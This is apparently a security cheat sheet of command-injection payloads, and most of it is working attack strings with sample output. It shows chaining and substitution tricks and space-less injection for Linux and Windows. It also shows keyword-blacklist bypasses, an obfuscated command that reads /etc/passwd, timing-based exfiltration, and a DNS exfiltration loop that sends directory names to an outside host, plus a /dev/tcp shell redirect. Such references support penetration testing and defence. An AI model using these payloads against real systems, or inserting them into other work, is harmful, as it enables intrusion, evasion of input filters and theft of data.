Remote Commands Execution

Remote Commands execution is a security vulnerability that allows an attacker to execute Commandss from a remote server. NOTE: Reverse Shell Command are relocated to a single file (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)

Exploits

Normal Commands execution, execute the command and voila :p

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
```

Commands execution by chaining commands

```
original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
original_cmd_by_server || ls    Only if the first cmd fail
```

Commands execution inside a command

```
original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd)
```

Commands execution without space - Linux

```
swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu

swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
```

Commands execution without space - Windows

```
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```

Commands execution without spaces, $ or { } - Linux (Bash only)

```
IFS=,;`cat<<<uname,-a`
```

Commands execution with a line return

```
something%0Acat%20/etc/passwd
```

Bypass blacklisted word with single quote

```
w'h'o'am'i
```

Bypass blacklisted word with double quote

```
w"h"o"am"i
```

Bypass blacklisted word with backslash

```
w\ho\am\i
```

Bypass blacklisted word with $@

```
who$@ami
```

Bypass blacklisted word with variable expansion

```
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
```

Bypass zsh/bash/sh blacklist

```
echo $0
-> /usr/bin/zsh
echo whoami|$0
```

Challenge

Challenge based on the previous tricks, what does the following command do:

```
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
```

Time based data exfiltration

Extracting data : char by char

```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```

```
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```

DNS based data exfiltration

Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca

```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "http://$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

Thanks to

- SECURITY CAFÉ - Exploiting Timed Based RCE (https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
- Bug Bounty Survey - Windows RCE spaceless (https://twitter.com/bugbsurveys/status/860102244171227136)
- No PHP, no spaces, no $, no { }, bash only - @asdizzle (https://twitter.com/asdizzle_/status/895244943526170628)
- #bash #obfuscation by string manipulation - Malwrologist, @DissectMalware (https://twitter.com/DissectMalware/status/1025604382644232192)